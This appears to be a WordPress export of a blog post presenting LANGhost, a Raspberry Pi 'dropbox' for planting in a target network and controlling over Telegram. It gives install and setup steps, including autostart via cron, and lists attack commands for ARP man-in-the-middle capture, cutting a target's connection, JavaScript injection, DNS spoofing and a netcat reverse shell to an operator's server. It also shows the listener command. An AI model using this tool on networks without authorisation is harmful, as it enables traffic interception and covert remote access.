{"id":5158,"date":"2019-05-25T15:16:24","date_gmt":"2019-05-25T09:46:24","guid":{"rendered":"http:\/\/kalilinuxtutorials.com\/?p=5158"},"modified":"2019-05-25T15:16:24","modified_gmt":"2019-05-25T09:46:24","slug":"langhost","status":"publish","type":"post","link":"https:\/\/kalilinuxtutorials.com\/langhost\/","title":{"rendered":"LANGhost : A LAN Dropbox Chatbot Controllable Via Telegram"},"content":{"rendered":"\n

LANGhost is designed for Raspberry Pis<\/strong> (Raspbian<\/strong>\/Kali for RPi<\/strong>). Running it on other\/desktop distros could cause issues and may not work as excepted.<\/p>\n\n\n\n

You will need a Raspberry Pi<\/strong> with fresh Raspbian\/Kali<\/strong> on the SD card, because you don’t want anything else running in the background.<\/p>\n\n\n\n

Boot up the Pi, get an SSH sell or connect a monitor and a keyboard and enter these commands:<\/p>\n\n\n\n

Also Read – FlashSploit : Exploitation Framework For ATtiny85 Based HID Attacks<\/a><\/strong><\/p>\n\n\n\n

$ sudo apt update && sudo apt install python3 python3-pip
$ git clone https:\/\/github.com\/xdavidhu\/lanGhost
$ cd lanGhost
$ sudo .\/setup.py<\/strong><\/p>\n\n\n\n

Please read<\/strong> the questions\/messages while running the setup script!<\/p>\n\n\n\n

<\/a><\/h4>\n\n\n\n

step 1\/4 – setup.py<\/strong><\/p>\n\n\n\n

[+] Please enter the name of the network interface connected\/will\nbe connected to the target LAN. Default wired interface is ‘eth0’,\nand the default wireless interface is ‘wlan0’ on most systems, but\nyou can check it in a different terminal with the ‘ifconfig’ command.\n<\/p>\n\n\n\n

<\/a><\/h4>\n\n\n\n

step 2\/4 – setup.py<\/strong><\/p>\n\n\n\n

[+] Please create a Telegram API key by messaging @BotFather on Telegram with the command ‘\/newbot’.

After this, @BotFather will ask you to choose a name for your bot. This can be anything you want.

Lastly, @BotFather will ask you for a username for your bot. You have to choose a unique username here which ends with ‘bot’. For example: xdavidbot. Make note of this username, since later you will have to search for this to find your bot, which lanGhost will be running on.

After you send your username of choise to @BotFather, you will recieve your API key.<\/p>\n\n\n\n

\"\"\/<\/figure><\/div>\n\n\n\n
\"\"\/<\/figure><\/div>\n\n\n\n

step 3\/4 – setup.py<\/strong><\/p>\n\n\n\n

[+] Now for lanGhost to only allow access to you, you need to verify yourself.

Send the verification code below TO THE BOT you just created. Just search for your bot’s @username (what you sent to @BotFather) to find it.

[+] Verification code to send: ****** <\/p>\n\n\n\n

\"\"\/<\/figure><\/div>\n\n\n\n

step 4\/4 – setup.py<\/strong><\/p>\n\n\n\n

[+] Do you want lanGhost to start on boot? This option is necessary if you are using\nthis device as a dropbox, because when you are going to drop this device into a\nnetwork, you will not have the chanse to start lanGhost remotely! (autostart works\nby adding a new cron ‘@reboot’ entry)\n<\/p>\n\n\n\n

<\/a><\/h3>\n\n\n\n

If you are ready with the setup just reboot the Pi and lanGhost will start right up! <\/p>\n\n\n\n

\"\"\/<\/figure><\/div>\n\n\n\n

Usage<\/strong><\/p>\n\n\n\n

<\/a><\/h3>\n\n\n\n

Warnings:<\/strong> Using lanGhost on a networks bigger than \/24 is not recommended<\/strong> because the scans will take too long.<\/p>\n\n\n\n

lanGhost is not quiet<\/strong>. Anyone monitoring the traffic can see the ARP packets!<\/p>\n\n\n\n

<\/a><\/h3>\n\n\n\n

drop it into a network:<\/p>\n\n\n\n

If you have selected yes<\/code> at step 4\/4 (autostart)<\/code> the Pi is fully set up for dropping. lanGhost should start up on boot, and send you a message on Telegram with the text: lanGhost started! \ud83d\udc7b<\/code>.<\/p>\n\n\n\n

Make sure to try it out in your lab first and test if lanGhost is responding to your messages!<\/p>\n\n\n\n

If you are all set, just connect it to the target network by plugging\n in the Ethernet cable into the Pi and connecting the power via micro \nUSB and you are ready to go!<\/p>\n\n\n\n

(lanGhost can also work over WiFi, but you will need to set up wpa_supplicant<\/code> to connect to the network automatically first)<\/p>\n\n\n\n

<\/a><\/h3>\n\n\n\n

Available Commands:<\/strong><\/p>\n\n\n\n

\/scan – Scan LAN network
\n\/scanip [TARGET-IP] – Scan a specific IP address.
\n\/kill [TARGET-IP] – Stop the target’s network connection.
\n\/mitm [TARGET-IP] – Capture HTTP\/DNS traffic from target.
\n\/replaceimg [TARGET-IP] – Replace HTTP images requested by target.
\n\/injectjs [TARGET-IP] [JS-FILE-URL] – Inject JavaScript into HTTP pages requested by target.
\n\/spoofdns [TARGET-IP] [DOMAIN] [FAKE-IP] – Spoof DNS records for target.
\n\/attacks – View currently running attacks.
\n\/stop [ATTACK-ID] – Stop a currently running attack.
\n\/restart – Restart lanGhost.
\n\/reversesh [TARGET-IP] [PORT] – Create a netcat reverse shell to target.
\n\/help – Display the help menu.
\n\/ping – Pong.<\/p>\n\n\n\n

Attack System:<\/h3>\n\n\n\n

You can start an attack by using one of these commands: \/kill, \/mitm, \/replaceimg, \/injectjs, \/spoofdns<\/strong><\/code><\/p>\n\n\n\n

Ater you have one or more attacks running, you can use the \/attack<\/strong><\/code> command to get a list of them containing the ATTACK-ID<\/strong><\/code>‘s<\/strong>.<\/p>\n\n\n\n

To stop an attack type \/stop [ATTACK-ID]<\/strong><\/code>.<\/p>\n\n\n\n

<\/a><\/h3>\n\n\n\n

Reverse Shell:<\/strong><\/p>\n\n\n\n

<\/a><\/h3>\n\n\n\n

Warning: <\/strong>\/reversesh<\/strong><\/code> only makes a netcat TCP connection which is not encrypted and all the traffic can be monitored! Only use it for emergency fixes or for setting up an encrypted reverse connection if necessary.<\/p>\n\n\n\n

The \/reversesh<\/strong><\/code> command is for getting a reverse shell on the Pi, when its not accessable from the outside.<\/p>\n\n\n\n

To use the \/reversesh<\/strong><\/code> command you will need to have a server listening for the shell.<\/p>\n\n\n\n

Netcat command to start up the listener on your server:<\/p>\n\n\n\n

$ nc -l 0.0.0.0 [PORT] <\/strong><\/p>\n\n\n\n

Telegram command:<\/p>\n\n\n\n

\/reversesh [IP-of-your-listening-server] [PORT]<\/strong><\/p>\n\n\n\n

Attacks:<\/strong><\/p>\n\n\n\n